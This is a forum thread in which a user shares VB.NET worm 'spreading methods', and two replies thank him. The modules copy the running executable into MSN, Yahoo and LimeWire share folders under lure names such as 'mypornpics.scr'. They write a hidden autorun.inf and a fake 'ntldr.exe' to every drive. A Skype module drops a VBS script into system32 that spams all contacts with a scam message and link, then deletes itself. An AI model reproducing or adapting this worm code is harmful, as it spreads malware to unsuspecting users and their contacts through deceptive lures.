[.NET]Spreading Methods [LAN,MSN,YAHOO....]

Clan99 · 07-03-2011, 04:19 PM

LAN

Code:
Imports System.IO
Module lan
Sub lan_sp()
Try
Dim localIP() As System.Net.IPAddress = System.Net.Dns.GetHostAddresses(System.Net.Dns.GetHostName)
Dim strLocalIP As String = localIP(0).ToString
Dim DomainHostEntry As System.Net.IPHostEntry
DomainHostEntry = System.Net.Dns.GetHostEntry("workgroup")
Catch ex As Exception
End Try
Try
File.Copy(Application.ExecutablePath, "workgroup")
Catch ex As Exception
End Try
End Sub
End Module

MSN

Code:
Imports System.IO
Imports System.Reflection
Module msnshare

Sub msnshare_sp()
On Error Resume Next
Dim WormModule As System.Reflection.Module = [Assembly].GetExecutingAssembly().GetModules()(0)
Dim WormFile As String = Application.ExecutablePath
Dim FolPath As String = "C:\Documents and Settings\" & Environ("USERNAME") & "\Local Settings\Application Data\Microsoft\Messenger\"
If Dir(FolPath, FileAttribute.Directory) <> "" Then
Dim i As Int32 = 0
Dim x As Int32 = 0
Dim shares() As String
shares = System.IO.Directory.GetDirectories(FolPath)
For i = 0 To shares.GetUpperBound(0)
If Dir(shares(i), FileAttribute.Directory) <> "" Then
If File.Exists(shares(i) & "\mypornpics.scr") = False Then
File.Copy(WormFile, shares(i) & "\mypornpics.scr")
End If
End If
Next
End If
End Sub
End Module

P2P

Code:
Module p2p
Dim LimePfad As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\LimeWire\", "Shared", 0)
Sub p2p_sp()
Try
Dim Spreadname As String = "windows_7full.scr"
IO.File.Copy(Application.ExecutablePath, LimePfad & Spreadname)
Catch ex As Exception
End Try
Try
Dim Spreadname As String = "windows_7full.scr"
IO.File.Copy(Application.ExecutablePath, (Environ("programfiles" & "\Shared\" & Spreadname)))
Catch ex As Exception
End Try
End Sub
End Module

SKYPE

Code:
Imports System.IO
Module skype

Sub skype_sp()
Try
Dim vv As New FileStream("C:\windows\system32\s4c.vbs", FileMode.Create, FileAccess.Write)
Dim g As New StreamWriter(vv)
g.BaseStream.Seek(0, SeekOrigin.End)
g.WriteLine("on error resume next")
g.WriteLine("set Fruxr = WScript.CreateObject(""Skype4COM.Skype"", ""Skype_"")")
g.WriteLine("Fruxr.Client.Start()")
g.WriteLine("Fruxr.Attach()")
g.WriteLine("For Each KZN In Fruxr.Friends")
g.WriteLine("Fruxr.SendMessage KZN.handle,""Get this. Don't even ask questions, There's no time!! $285 program, year subscription of skype FREE! " & link & """")
g.WriteLine("next")
g.Close()
Process.Start("C:\windows\system32\s4c.vbs")
Dim fa As New FileInfo("C:\windows\system32\s4c.vbs")
fa.Delete()
Catch ex As Exception
End Try
End Sub
End Module

USB

Code:
Imports System.IO
Module usb

Public Sub usb_sp()
Try
Dim drivers As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles
Dim driver() As String = (IO.Directory.GetLogicalDrives)
For Each drivers In driver
If File.Exists(drivers & "ntldr.exe") = False Then
File.Copy(System.Reflection.Assembly. _
GetExecutingAssembly.Location, drivers & "ntldr.exe")
End If
Dim autorunwriter = New StreamWriter(drivers & "autorun.inf")
autorunwriter.WriteLine("[autorun]")
autorunwriter.WriteLine("open = ntldr.exe")
autorunwriter.WriteLine("shellexecute=ntldr.exe")
autorunwriter.Close()
File.SetAttributes(drivers & "autorun.inf", FileAttributes.Hidden)
File.SetAttributes(drivers & "ntldr.exe", FileAttributes.Hidden)
Next
Catch ex As Exception
End Try
End Sub
End Module

YAHOO

Code:
Imports System.IO
Imports System.Reflection
Module yahoo
Sub yahoo_sp()
On Error Resume Next
Dim YoModule As System.Reflection.Module = [Assembly].GetExecutingAssembly().GetModules()(0)
Dim YaFile As String = Application.ExecutablePath
Dim FoPath As String = "C:\Documents and Settings\" & Environ("USERNAME") & "\Local Settings\Application Data\Yahoo Messenger\"
If Dir(FoPath, FileAttribute.Directory) <> "" Then
Dim i As Int32 = 0
Dim x As Int32 = 0
Dim shares() As String
shares = System.IO.Directory.GetDirectories(FoPath)
For i = 0 To shares.GetUpperBound(0)
If Dir(shares(i), FileAttribute.Directory) <> "" Then
If File.Exists(shares(i) & "\ys.scr") = False Then
File.Copy(YaFile, shares(i) & "\ys.scr")
End If
End If
Next
End If
End Sub
End Module

1234hotmaster · 07-03-2011, 04:32 PM

tnx for the shares really appreciate Smile

Clan99 · 07-03-2011, 04:41 PM

Thank you for reply 1234hotmaster